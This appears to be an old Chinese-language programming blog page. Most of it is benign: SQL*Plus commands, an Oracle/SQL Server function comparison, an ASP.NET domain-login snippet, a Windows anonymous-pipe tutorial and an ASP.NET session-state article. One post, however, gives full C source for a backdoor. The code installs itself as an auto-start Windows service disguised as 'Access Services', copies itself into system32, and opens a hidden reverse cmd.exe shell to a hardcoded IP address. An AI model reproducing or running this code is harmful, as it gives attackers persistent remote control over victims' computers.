Program_Worker님의 프로필Microsoft Beta Home사진블로그리스트 도구 도움말

블로그


    8월 15일

    SQL*PLUS 常用命令列表

    run       执行当前缓冲区的命令
    /        执行当前缓冲区的命令
    r        执行当前缓冲区的命令
    @文件名     运行调入内存的sql文件,如:
    SQL> edit s<回车>
    如果当前目录下不存在s.sql文件,则系统自动生成s.sql文件,
    在其中输入“select * from tab;”,存盘退出。
    SQL> @s<回车>
    系统会自动查询当前用户下的所有表、视图、同义词。
    @@文件名     在.sql文件中调用令一个.sql文件时使用
    save 文件名   将缓冲区的命令以文件方式存盘,缺省文件扩展名为.sql
    get 文件名    调入存盘的sql文件
    start 文件名   运行调入内存的sql文件
    spool 文件名   把这之后的各种操作及执行结果“假脱机”即存盘到磁盘文件上,默认文件扩展名为.lst
    spool      显示当前的“假脱机”状态
    spool off    停止输出
    例:
    SQL> spool a
    SQL> spool
    正假脱机到 A.LST
    SQL> spool off
    SQL> spool
    当前无假脱机

    exit       退出SQL*PLUS
    desc 表名    显示表的结构
    show user    显示当前连接用户
    show error    显示错误
    show all     显示所有68个系统变量值
    edit       打开默认编辑器,Windows系统中默认是notepad.exe,把缓冲区中最后一条SQL语句调入afiedt.buf文件中进行编辑
    edit 文件名   把当前目录中指定的.sql文件调入编辑器进行编辑
    clear screen   清空当前屏幕显示

    Oracle 与 SqlServer 函数对比

      1.绝对值
      S:select abs(-1) value
      O:select abs(-1) value from dual
      2.取整(大)
      S:select ceiling(-1.001) value
      O:select ceil(-1.001) value from dual

      3.取整(小)
      S:select floor(-1.001) value
      O:select floor(-1.001) value from dual

      4.取整(截取)
      S:select cast(-1.002 as int) value
      O:select trunc(-1.002) value from dual

      5.四舍五入
      S:select round(1.23456,4) value 1.23460
      O:select round(1.23456,4) value from dual 1.2346

      6.e为底的幂
      S:select Exp(1) value 2.7182818284590451
      O:select Exp(1) value from dual 2.71828182

      7.取e为底的对数
      S:select log(2.7182818284590451) value 1
      O:select ln(2.7182818284590451) value from dual; 1

      8.取10为底对数
      S:select log10(10) value 1
      O:select log(10,10) value from dual; 1

      9.取平方
      S:select SQUARE(4) value 16
      O:select power(4,2) value from dual 16

      10.取平方根
      S:select SQRT(4) value 2
      O:select SQRT(4) value from dual 2

      11.求任意数为底的幂
      S:select power(3,4) value 81
      O:select power(3,4) value from dual 81

      12.取随机数
      S:select rand() value
      O:select sys.dbms_random.value(0,1) value from dual;

      13.取符号
      S:select sign(-8) value -1
      O:select sign(-8) value from dual -1
      ----------数学函数

      14.圆周率
      S:SELECT PI() value 3.1415926535897931
      O:不知道

      15.sin,cos,tan 参数都以弧度为单位
      例如:select sin(PI()/2) value 得到1(SQLServer)

      16.Asin,Acos,Atan,Atan2 返回弧度

      17.弧度角度互换(SQLServer,Oracle不知道)
      DEGREES:弧度-〉角度
      RADIANS:角度-〉弧度

      ---------数值间比较

      18. 求集合最大值
      S:select max(value) value from
      (select 1 value
      union
      select -2 value
      union
      select 4 value
      union
      select 3 value)a

      O:select greatest(1,-2,4,3) value from dual

      19. 求集合最小值
      S:select min(value) value from
      (select 1 value
      union
      select -2 value
      union
      select 4 value
      union
      select 3 value)a

      O:select least(1,-2,4,3) value from dual

      20.如何处理null值(F2中的null以10代替)
      S:select F1,IsNull(F2,10) value from Tbl
      O:select F1,nvl(F2,10) value from Tbl

      --------数值间比较

      21.求字符序号
      S:select ascii('a') value
      O:select ascii('a') value from dual

      22.从序号求字符
      S:select char(97) value
      O:select chr(97) value from dual

      23.连接
      S:select '11'+'22'+'33' value
      O:select CONCAT('11','22')||33 value from dual

      23.子串位置 --返回3
      S:select CHARINDEX('s','sdsq',2) value
      O:select INSTR('sdsq','s',2) value from dual

      23.模糊子串的位置 --返回2,参数去掉中间%则返回7
      S:select patindex('%d%q%','sdsfasdqe') value
      O:oracle没发现,但是instr可以通过第四霾问刂瞥鱿执问?BR>  select INSTR('sdsfasdqe','sd',1,2) value from dual 返回6

      24.求子串
      S:select substring('abcd',2,2) value
      O:select substr('abcd',2,2) value from dual

      25.子串代替 返回aijklmnef
      S:SELECT STUFF('abcdef', 2, 3, 'ijklmn') value
      O:SELECT Replace('abcdef', 'bcd', 'ijklmn') value from dual

      26.子串全部替换
      S:没发现
      O:select Translate('fasdbfasegas','fa','我' ) value from dual

      27.长度
      S:len,datalength
      O:length

      28.大小写转换 lower,upper

      29.单词首字母大写
      S:没发现
      O:select INITCAP('abcd dsaf df') value from dual

      30.左补空格(LPAD的第一个参数为空格则同space函数)
      S:select space(10)+'abcd' value
      O:select LPAD('abcd',14) value from dual

      31.右补空格(RPAD的第一个参数为空格则同space函数)
      S:select 'abcd'+space(10) value
      O:select RPAD('abcd',14) value from dual

      32.删除空格
      S:ltrim,rtrim
      O:ltrim,rtrim,trim

      33. 重复字符串
      S:select REPLICATE('abcd',2) value
      O:没发现

      34.发音相似性比较(这两个单词返回值一样,发音相同)
      S:SELECT SOUNDEX ('Smith'), SOUNDEX ('Smythe')
      O:SELECT SOUNDEX ('Smith'), SOUNDEX ('Smythe') from dual
      SQLServer中用SELECT DIFFERENCE('Smithers', 'Smythers') 比较soundex的差
      返回0-4,4为同音,1最高

      --------------日期函数

      35.系统时间
      S:select getdate() value
      O:select sysdate value from dual

      36.前后几日
      直接与整数相加减

      37.求日期
      S:select convert(char(10),getdate(),20) value
      O:select trunc(sysdate) value from dual
      select to_char(sysdate,'yyyy-mm-dd') value from dual

      38.求时间
      S:select convert(char(8),getdate(),108) value
      O:select to_char(sysdate,'hh24:mm:ss') value from dual

      39.取日期时间的其他部分
      S:DATEPART 和 DATENAME 函数 (第一个参数决定)
      O:to_char函数 第二个参数决定

      参数---------------------------------下表需要补充
      year yy, yyyy
      quarter qq, q (季度)
      month mm, m (m O无效)
      dayofyear dy, y (O表星期)
      day dd, d (d O无效)
      week wk, ww (wk O无效)
      weekday dw (O不清楚)
      Hour hh,hh12,hh24 (hh12,hh24 S无效)
      minute mi, n (n O无效)
      second ss, s (s O无效)
      millisecond ms (O无效)
      ----------------------------------------------

      40.当月最后一天
      S:不知道
      O:select LAST_DAY(sysdate) value from dual

      41.本星期的某一天(比如星期日)
      S:不知道
      O:SELECT Next_day(sysdate,7) vaule FROM DUAL;

      42.字符串转时间
      S:可以直接转或者select cast('2004-09-08'as datetime) value
      O:SELECT To_date('2004-01-05 22:09:38','yyyy-mm-dd hh24-mi-ss') vaule FROM DUAL;

      43.求两日期某一部分的差(比如秒)
      S:select datediff(ss,getdate(),getdate()+12.3) value
      O:直接用两个日期相减(比如d1-d2=12.3)
      SELECT (d1-d2)*24*60*60 vaule FROM DUAL;

      44.根据差值求新的日期(比如分钟)
      S:select dateadd(mi,8,getdate()) value
      O:SELECT sysdate+8/60/24 vaule FROM DUAL;

      45.求不同时区时间
      S:不知道
      O:SELECT New_time(sysdate,'ydt','gmt' ) vaule FROM DUAL;

      -----时区参数,北京在东8区应该是Ydt-------
      AST ADT 大西洋标准时间
      BST BDT 白令海标准时间
      CST CDT 中部标准时间
      EST EDT 东部标准时间
      GMT 格林尼治标准时间
      HST HDT 阿拉斯加—夏威夷标准时间
      MST MDT 山区标准时间
      NST 纽芬兰标准时间
      PST PDT 太平洋标准时间
      YST YDT YUKON标准时间

     

    5월 13일

    CMD下反向连接的基于NTService的后门

    头一次把后门写成服务,还有很多不足,请大家指正。VS.Net2003下编译通过。

    #include "stdafx.h"
    #include "resource.h"
    #include "bdoor.h"
    #include "winsock2.h"
    #pragma comment(lib,"ws2_32")
    #define HOST_IP "221.226.129.105"      
    #define HOST_PORT 55068

    char *SERVICE_NAME = "Access Service";
    HANDLE terminateEvent = NULL;
    SERVICE_STATUS_HANDLE serviceStatusHandle;
    BOOL pauseService = FALSE;
    BOOL runningService = FALSE;

    void BShell (void);
    void Begin (void);
    int InstallSelf (void);


    HANDLE threadHandle = 0;

    BOOL SendStatusToSCM (DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwServiceSpecificExitCode,DWORD dwCheckPoint,DWORD dwWaitHint)
    {
       BOOL success;
       SERVICE_STATUS serviceStatus;

       serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
       serviceStatus.dwCurrentState = dwCurrentState;

       if (dwCurrentState == SERVICE_START_PENDING)
          serviceStatus.dwControlsAccepted = 0;
       else
          serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;

       if (dwServiceSpecificExitCode == 0)
          serviceStatus.dwWin32ExitCode = dwWin32ExitCode;
       else
          serviceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;

       serviceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;
       serviceStatus.dwCheckPoint = dwCheckPoint;
       serviceStatus.dwWaitHint = dwWaitHint;

       success = SetServiceStatus (serviceStatusHandle, &serviceStatus);
       return success;
    }

    DWORD ServiceThread(LPDWORD param)
    {
       while (1)
          {
             BShell();
          }
       return 0;
    }

    BOOL InitService()
    {
       DWORD id;

       threadHandle = CreateThread(0, 0,(LPTHREAD_START_ROUTINE) ServiceThread,0, 0, &id);

       if (threadHandle==0)
          return FALSE;
       else
       {
          runningService = TRUE;
          return TRUE;
       }
    }

    void Handler (DWORD controlCode)
    {
       DWORD currentState = 0;
       BOOL success;

       switch(controlCode)
       {

          case SERVICE_CONTROL_STOP:

             success = SendStatusToSCM(SERVICE_STOP_PENDING,
             NO_ERROR, 0, 1, 5000);
             runningService=FALSE;

             SetEvent(terminateEvent);
             return;

          case SERVICE_CONTROL_PAUSE:
             if (runningService && !pauseService)
             {
                success = SendStatusToSCM(SERVICE_PAUSE_PENDING,NO_ERROR, 0, 1, 1000);
                pauseService = TRUE;
                SuspendThread(threadHandle);
                currentState = SERVICE_PAUSED;
             }
             break;

          case SERVICE_CONTROL_CONTINUE:
             if (runningService && pauseService)
             {
                success = SendStatusToSCM(SERVICE_CONTINUE_PENDING,NO_ERROR, 0, 1, 1000);
                pauseService=FALSE;
                ResumeThread(threadHandle);
                currentState = SERVICE_RUNNING;
             }
             break;

          case SERVICE_CONTROL_INTERROGATE:
             break;

          case SERVICE_CONTROL_SHUTDOWN:
             return;

          default:
          break;
       }
       SendStatusToSCM(currentState, NO_ERROR, 0, 0, 0);
    }

    void terminate(DWORD error)
    {
       if (terminateEvent) CloseHandle(terminateEvent);

       if (serviceStatusHandle) SendStatusToSCM(SERVICE_STOPPED, error,0, 0, 0);

       if (threadHandle) CloseHandle(threadHandle);

    }

    void ServiceMain(DWORD argc, LPTSTR *argv)
    {
       BOOL success;

       serviceStatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, (LPHANDLER_FUNCTION)Handler);
       if (!serviceStatusHandle)
       {
          terminate(GetLastError());
          return;
       }

       success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 1, 5000);

       if (!success)
       {
          terminate(GetLastError());
          return;
       }

       terminateEvent = CreateEvent (0, TRUE, FALSE, 0);

       if (!terminateEvent)
       {
          terminate(GetLastError());
          return;
       }

       success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 2, 1000);

       if (!success)
       {
          terminate(GetLastError());
          return;
       }

       success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 3, 5000);

       if (!success)
       {
          terminate(GetLastError());
          return;
       }

       success = InitService();

       if (!success)
       {
          terminate(GetLastError());
          return;
       }

       success = SendStatusToSCM(SERVICE_RUNNING,NO_ERROR, 0, 0, 0);

       if (!success)
       {
          terminate(GetLastError());
          return;
       }

       WaitForSingleObject (terminateEvent, INFINITE);

       terminate(0);
    }

    void BShell(void)
    {
    WSADATA WsaData;
    SOCKET hSocket;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in sa;

    memset(&sa,0,sizeof(sa));
    memset(&si,0,sizeof(si));

    WSAStartup(MAKEWORD(2,0),&WsaData);
    hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

    sa.sin_family=AF_INET;
    sa.sin_port=htons(HOST_PORT);
    sa.sin_addr.s_addr=inet_addr(HOST_IP);
    connect(hSocket,(struct sockaddr*)&sa,sizeof(sa));

       si.cb=sizeof(si);
       GetStartupInfo(&si);
       si.wShowWindow = SW_HIDE;
       si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
       si.hStdError = (void *)hSocket;
       si.hStdOutput = (void *)hSocket;
       si.hStdInput = (void *)hSocket;
    CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi );
    }

    int InstallSelf()
    {
       SC_HANDLE schSCManager;
       SC_HANDLE schService;
       char lpCurrentPath[MAX_PATH];
       char lpImagePath[MAX_PATH];
       char *lpHostName;
       WIN32_FIND_DATA FileData;
       HANDLE hSearch;

       GetSystemDirectory(lpImagePath,MAX_PATH);
       strcat(lpImagePath,"\\NTServices.exe");
       lpHostName=NULL;

       hSearch=FindFirstFile(lpImagePath,&FileData);
       if (hSearch == INVALID_HANDLE_VALUE)
       {
          GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
          CopyFile(lpCurrentPath,lpImagePath,FALSE);
          FindClose(hSearch);
          schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
          schService=CreateService(schSCManager,"Access Services","Access Services",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"NTServices.exe",NULL,NULL,NULL,NULL,NULL);
          schService=OpenService(schSCManager,"Access Services",SERVICE_START);
          StartService(schService,0,NULL);
          CloseServiceHandle(schSCManager);
          CloseServiceHandle(schService);
          return 1;
       }
       else
       {
          return 0;
       }

    }

    void Begin (void)
    {
       int ret;
       SERVICE_TABLE_ENTRY serviceTable[] =
       {
          { SERVICE_NAME,(LPSERVICE_MAIN_FUNCTION) ServiceMain},{ NULL, NULL }
       };
       BOOL success;
       if (InstallSelf()==0)
       {
          ret = 0;
       }
       success = StartServiceCtrlDispatcher(serviceTable);
       ret = 1;
    }

    int APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow)
    {
       Begin();
       return 1;
    }

    4월 10일

    ASP.net Application 中使用域用户登录

          现在做的一个程序中要求ASP.net 程序可以使用已经存在的域用户来登录(而且为了与其它程序界面一致一定要使用 Forms 登录),查找了一些相关的资料发现还是可以实现的。
          主要还是依靠 advapi32.dll 中的 LogonUser API 函数。 其它方面的使用与普通的forms 程序没有太大的区别,也许还有更好的方法。

    using System.Web.Security;
    using System.Runtime.InteropServices;

    [DllImport("advapi32.dll", CharSet=CharSet.Auto)]
    public static extern int LogonUser(String lpszUserName,
        String lpszDomain,
        String lpszPassword,
        int dwLogonType,
        int dwLogonProvider,
        ref IntPtr phToken);

    public const int LOGON32_LOGON_INTERACTIVE = 2;
    public const int LOGON32_PROVIDER_DEFAULT = 0;

    void Login_Click(Object sender, EventArgs E)
        {
          IntPtr token = IntPtr.Zero;

          if(LogonUser(UserName.Value,
          UserDomain.Value,
          UserPass.Value,
          LOGON32_LOGON_INTERACTIVE,
          LOGON32_PROVIDER_DEFAULT,
          ref token) != 0)
          {
            FormsAuthentication.RedirectFromLoginPage(UserName.Value,
            PersistCookie.Checked);
          }
          else
          {
            lblResults.Text = "Invalid Credentials: Please try again";
          }
        }

    4월 9일

    VS.NET 2003产品信息

    Visual Studio .NET 2003产品信息
    探索有关Visual Studio .NET 2003的各类产品信息,并了解Visual Studio .NET 2003的新增功能。 开发、部署和连接
    了解如何借助Visual Studio .NET 2003的重要新增功能快速建立能够与Microsoft .NET相连接的应用程序。 产品概述
    您可以在此处找到有关Visual Studio .NET 2003 Enterprise Architect、Enterprise Developer和Professional Editions的丰富产品信息。

    功能概述
    欢迎探索Visual Studio .NET 2003具有的新增特性,它为开发人员开发、测试和部署面向Microsoft Windows&和Web的应用程序提供了强有力的工具。

    系统要求
    查看您的系统是否满足运行Visual Studio .NET 2003所需具备的软硬件条件。

    开发工具发展蓝图(2002-2004)
    在不远的未来,Microsoft 将为Visual Studio .NET和.NET Framework带去新的工具和集成能力。

    下载 Visual Studio .NET 2003 宣传资料
    欢迎随意下载随同 Visual Studio .NET 2003 一并奉送的宣传资料。

    .NET Framework 1.1
    了解最新版本的Microsoft .NET Framework都具有那些新增功能和改进特性。

    面向Visual Studio .NET 2003的产品信息
    浏览Visual Studio .NET 2003以及.NET开发语言大家庭所有成员的最新功能
    Visual Basic.NET 2003
    Visual C#.NET 2003
    Visual C++.NET 2003
    Visual J#.NET 2003

    4월 8일

    Windows管道技术简述

    不知你是否用过这样的程序,他们本身并没有解压缩的功能,而是调用DOS程序PKZIP完成ZIP包的解压缩。但是在程序运行时又没有DOS控制台的窗口出现而且一切本应该在DOS下显示的信息都出现在了那个安装程序的一个文本框里。这种设计既美观又可以防止少数眼疾手快的用户提前关了你的DOS窗口。
    现在就来讨论一下,如何用匿名管道技术实现这个功能。

    管道技术由来已久,相信不少人对DOS命令里的管道技术最为熟悉。当我们type一个文件的时候如果想让他分页现实可以输入

    C:\>type autoexec.bat|more

    这里“|”就是管道操作符。他以type输出的信息为读取端,以more的输入端为写入端建立的管道。

    Windows中使用较多的管道也是匿名管道,它通过API函数CreatePipe创建。

    BOOL CreatePipe(
    PHANDLE hReadPipe, // 指向读端句柄的指针
    PHANDLE hWritePipe, // 指向写端句柄的指针
    LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
    DWORD nSize // 管道的容量
    );

    上面几个参数中要注意hReadPipe,hWritePipe是指向句柄的指针,而不是句柄(我第一次用的时候就搞错了)。nSize一般指定为0,以便让系统自己决定管道的容量。现在来看安全属性结构,SECURITY_ATTRIBUTES。

    typedef struct _SECURITY_ATTRIBUTES { // sa
    DWORD nLength;
    LPVOID lpSecurityDescriptor;
    BOOL bInheritHandle;
    } SECURITY_ATTRIBUTES;
    nLength是结构体的大小,自然是用sizeof取得了。lpSecurityDescriptor是安全描述符(一个C-Style的字符串)。bInheritHandle他指出了安全描述的对象能否被新创建的进程继承。先不要管他们的具体意义,使用的时候自然就知道了。

    好,现在我们来创建一个管道

    HANDLE hReadPipe, hWritePipe;
    SECURITY_ATTRIBUTES sa;

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL; //使用系统默认的安全描述符
    sa.bInheritHandle = TRUE; //一定要为TRUE,不然句柄不能被继承。
    CreeatePipe(&hReadPipe,&hWritePipe,&sa,0);
    OK,我们的管道建好了。当然这不是最终目的,我们的目的是把DOS上的一个程序输出的东西重定向到一个Windows程序的Edit控件。所以我们还需要先启动一个DOS的程序,而且还不能出现DOS控制台的窗口(不然不就露馅了吗)。我们用CreateProcess创建一个DOS程序的进程。

    BOOL CreateProcess(
    LPCTSTR lpApplicationName, // C-style字符串:应用程序的名称
    LPTSTR lpCommandLine, // C-style字符串:执行的命令
    LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全属性
    LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
    BOOL bInheritHandles, // 是否继承句柄的标志
    DWORD dwCreationFlags, // 创建标志
    LPVOID lpEnvironment, // C-Style字符串:环境设置
    LPCTSTR lpCurrentDirectory, // C-Style字符串:执行目录
    LPSTARTUPINFO lpStartupInfo, // 启动信息
    LPPROCESS_INFORMATION lpProcessInformation // 进程信息
    );
    先别走,参数是多了点,不过大部分要不不用自己填要不填个NULL就行了。lpApplication随便一点就行了。lpCommandLine可是你要执行的命令一定要认真写好。来,我们瞧瞧lpProcessAttributes和lpThreadAttributes怎么设置。哎?这不就是刚才那个吗。对阿,不过可比刚才简单。由于我们只是创建一个进程,他是否能在被继承不敢兴趣所以这两个值全为NULL。bInHeritHandles也是一定要设置为TRUE的,因为我们既然要让新的进程能输出信息到调用他的进程里,就必须让新的进程继承调用进程的句柄。我们对创建的新进程也没什么别的苛求,所以dwCreationFlags就为NULL了。lpEnvironment和lpCurrentDirectory根据你自己的要求是指一下就行了,一般也是NULL。接下来的lpStartupInfo可是关键,我们要认真看一下。

    typedef struct _STARTUPINFO { // si
    DWORD cb;
    LPTSTR lpReserved;
    LPTSTR lpDesktop;
    LPTSTR lpTitle;
    DWORD dwX;
    DWORD dwY;
    DWORD dwXSize;
    DWORD dwYSize;
    DWORD dwXCountChars;
    DWORD dwYCountChars;
    DWORD dwFillAttribute;
    DWORD dwFlags;
    WORD wShowWindow;
    WORD cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    HANDLE hStdOutput;
    HANDLE hStdError;
    } STARTUPINFO, *LPSTARTUPINFO;
    倒!这么多参数,一个一个写肯定累死了。没错,MS早就想到会累死人。所以提供救人一命的API函数GetStartupInfo。

    VOID GetStartupInfo(
    LPSTARTUPINFO lpStartupInfo
    );
    这个函数用来取得当前进程的StartupInfo,我们新建的进程基本根当前进程的StartupInfo差不多,就借用一下啦。然后再小小修改一下即可。

    我们要改的地方有这么几个:cb,dwFlags,hStdOutput,hStdError,wShowWindow。先说cb,他指的是STARTUPINFO的大小,还是老手法sizeof。再说wShowWindow,他制定了新进程创建时窗口的现实状态,这个属性当然给为SW_HIDE了,我们不是要隐藏新建的DOS进程吗。哈哈,看到hStdOutput和hStdError,标准输出和错误输出的句柄。关键的地方来了,只要我们把这两个句柄设置为hWrite,我们的进程一旦有标准输出,就会被写入我们刚刚建立的匿名管道里,我们再用管道的hReadPipe句柄把内容读出来写入Edit控件不就达到我们的目的了吗。呵呵,说起来也真是听容易的阿。这几个关键参数完成了以后,千万别忘了dwFlags。他是用来制定STARTUPINFO里这一堆参数那个有效的。既然我们用了hStdOutput,hStdError和wShowWindow那dwFlags就给为STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES。

    好了,现在回到CreateProcess的最后一个参数lpProcessInformation(累!)。呵呵,这个参数不用自己填了,他是CreateProcess返回的信息,只要给他一个PROCESS_INFORMATION结构事例的地址就行了。

    大功高成了,我们管道一端连在了新进程的标准输出端了,一端可以自己用API函数ReadFile读取了。等等,不对,我们的管道还有问题。我们把hWrite给了hStdOutput和hStdError,那么在新的进程启动时就会在新进程中打开一个管道写入端,而我们在当前进程中使用了CreatePipe创建了一个管道,那么在当前进程中也有这个管道的写入端hWrite。好了,这里出现了一个有两个写入端和一个读出端的畸形管道。这样的管道肯定是有问题的。由于当前进程并不使用写端,因此我们必须关闭当前进程的写端。这样,我们的管道才算真正的建立成功了。来看看VC++写的源程序:


    /*
    * 通过管道技术,将dir /?的帮助信息输入到MFC应用程序的一个CEdit控件中。
    * VC++6.0 + WinXP 通过
    *
    * detrox, 2003
    */

    void CPipeDlg::OnButton1()
    {
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead,hWrite;

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead,&hWrite,&sa,0)) {
    MessageBox("Error On CreatePipe()");
    return;
    }
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    if (!CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe/c dir /?"
    ,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) {
    MessageBox("Error on CreateProcess()");
    return;
    }
    CloseHandle(hWrite);

    char buffer[4096] = {0};
    DWORD bytesRead;
    while (true) {
    if (ReadFile(hRead,buffer,4095,&bytesRead,NULL) == NULL)
    break;
    m_Edit1 += buffer;
    UpdateData(false);
    Sleep(200);
    }
    }

    在Web Service中使用ASP.net状态保持

    有许多聪明的办法可以解决HTTP协议的无状态问题,例如对每个请求重复发送应用程序数据包、使用HTTP认证机制来将请求映射到特定的用户、使用Cookie来存储一系列请求的状态等。在ASP.net技术中提供了一个非常有效的方案来保持状态,该方案隐藏了所有高难度的,具有挑战性的工作的细节,用户只需简单地使用System.Web.SessionState.HttpSessionState类。同时,你也可以像在ASP.net程序地Web页面(.aspx)中一样在Web Service的方法中使用这个类,只有一点小小的不同。

    ASP.net的Session对象概述

    ASP.net的Session状态信息在根本上通过两个机制保持。其一是使用Cookie。当客户端发送一个请求到服务器端时,服务器将发回一个附加HTTP Set-Cookie头的响应信息,而Cookie的值就是以键/值对的形式保存在该信息里边。在对同一服务器的所有的同步请求中,客户端在HTTP Cookie头中发送Cookie键/值对。然后服务器可以将并发的请求同初始的请求对应起来。ASP.net使用一个保存会话的ID的cookie来保持会话状态。该ID标识被用来为特定的用户找到与其对应的HttpSessionState类的实例。类HttpSessionState仅仅提供了一个通用的数据集,你可以在其中保存你需要的任何信息。

    ASP.net用来保持状态的另外一个机制工作时无须使用Cookie。一些浏览器被用户设置为禁止使用cookie或者干脆就不支持Cookie,ASP.net提供了一种机制来解决这个问题,它的主要原理是将一个请求重定向到一个包含ASP.net状态ID的URL。当该请求被接受到时,这个嵌在URL中的ID被截取下来,服务器通过该ID找到合适的HttpSessionState类的实例。这种方式在HTTP协议的使用GET方式的请求中工作的很好,但是在.net的XML Web Service代码中会出现问题。

    必须指出的是,有些时候把信息直接存储在Cookie中要比存储在Session中更好。避免使用Session可以节省服务器资源,而且你也无须考虑一些烦人的问题,比如定位一个特定的Session对象、Session对象因为请求的长时间的延迟而被移除或者在服务器上没必要地保留直到过期。然而,如果你有一些包含你不希望与你提供的服务的使用者共享的执行信息,或者有一些你不希望通过未加密的信道传输的私有数据,或者你认为将这些数据插入HTTP协议头中是不切实际的,那么你就应该使用ASP.net中的HttpSessionState,它将使你轻松解决这些问题。HttpSessionState类返回一个索引键,用以将一个特定的用户映射到一个为该用户保存信息的HttpSessionState类的实例。总之,无论是ASP.net的HttpSessionState类还是HTTP的Cookie都可以在ASP.net Web Service中使用。


    在XML Web Service中使用基于HTTP的机制来实现状态保持的理由

    在SOAP请求中有许多方法来保持状态。一个切实可行的方法就是在SOAP头中包含一些像ASP中的会话ID的信息,然而问题在于你不得不:
    1) 仍然要自己编写服务器端代码。
    2) 确信你的客户会像对待HTTP Cookie一样对待你的包含会话ID的SOAP头并且将它附加到每个请求中回传给你。
    当然有很多时候使用SOAP头的方法会很方便,但是也有很多时候还不如使用基于HTTP协议的方法。
    很容易在ASP.net中使用Session来保持状态信息,HttpSessionState类为你封装了存储Session状态的细节问题。绝大多数的客户端已经能够明白他们必须返回服务器设置的cookie,而且HttpSessionState类也支持在SOAP通信中常用的底层传输。(问题)因此,很明显,使用ASP.net的Session机制会是满足状态控制要求的明智的选择。

    使服务器支持Session

    在ASP.net中,对Web方法的状态支持默认是关闭的,你必须为每个要使用Session状态的Web方法显式地激活Session支持。激活Session支持的方法是添加一个EnableSession选项到你的函数的WebMethod属性中,并且将其值设置为true。下面的代码演示了如何激活Session并且在方法中访问Session状态信息。

    [VB.net]

    _
    Public Function IncrementSessionCounterX() As Integer
    Dim counter As Integer
    If Context.Session("Counter") Is Nothing Then
    counter = 1
    Else
    counter = Context.Session("Counter") + 1
    End If
    Context.Session("Counter") = counter
    Return counter
    End Function


    如你所料,如果你为一个Web方法激活了Session支持,并不意味着其它的Web方法的Session支持也被激活。事实上,如果Web方法的EnableSession选项没有被显式地设置为true,那么Context.Session属性的值将是null。

    假设通过设置web.config文件禁止session,那么即使你在WebMethod属性中使用了EnableSession选项,Context.Session的值也将一直是null。web.config文件中的/configuration/system.web/sessionState项有一个mode参数,它决定了你的ASP.net程序使用何种方法来保持Session状态。该参数默认设置为“InProc”,这时HttpSessionState对象将简单地保存在ASP.net进程的内存区。如果被设置为“Off”,那么ASP.net程序的Session支持就被关闭了。

    从服务器端看来,ASP.net的session状态的有效范围仅仅是某一个给定的ASP.net应用程序,这就意味着一个HttpSessionState类的实例只能被一个特定用户向某一个虚拟目录发出的所有Session被激活的ASP.net请求所使用,也就是说,使用同一个会话ID的向其它的虚拟目录的请求将导致ASP.net不能找到对应的session对象——因为会话ID不是为该ASP.net应用程序设定的。ASP.net并不区分对ASPX和ASMX文件的请求,直到该请求需要使用Session对象,因此,理论上你可以在一个Web方法调用和一个普通的ASPX文件之间共享Session状态信息。然而,我们将看到也有些客户端的问题使这个想法变得不那么容易实现。
    当设置一个HTTP cookie,你可以指定其过期时间。过期时间指定在多久的时间内,客户端应该将该cookie回传给服务器。如果一个cookie没有被设置过期时间,那么它仅仅在该进程处理请求的时间内被回传。例如,IE将一直回传cookie,除非你关闭了浏览器的特定窗口。ASP.net的用来保存会话ID的Cookie没有过期时间,因此,如果一台客户机上的多个进程向你的服务器上发送HTTP请求,它们也不会共享同一个HttpSessionState对象,甚至两个进程同时运行也是这样。

    如果你要处理来自同一个进程的并发的Web Service调用,那么这些请求将在服务器上被排序,从而使得在某一时刻只有一个请求被执行。ASP.net的Web Service不像普通.ASPX页面,支持允许多请求的并发进程的对HttpSessionState对象的只读访问,所有Session被激活的Web方法调用都具有read/write访问的权限,因此必须对之进行排序。

    客户端的问题

    在你的WebService中成功的使用HttpSessionState的功能事实上依赖于对用户的一些假设。首先,也是最重要的一点,如果你是用默认的HTTP Cookie模式来保存Session状态,你的客户端就必须支持cookie;如果你是用无cookie的机制来支持Session,那么你的客户端必须能够并且愿意重定向到一个新的URL,该URL由原来的URL中插入会话ID而得到。结果将表明,这并不是一个无足轻重的问题,它关系到你能否成功地部署你的程序。

    所有工作都依赖于浏览器

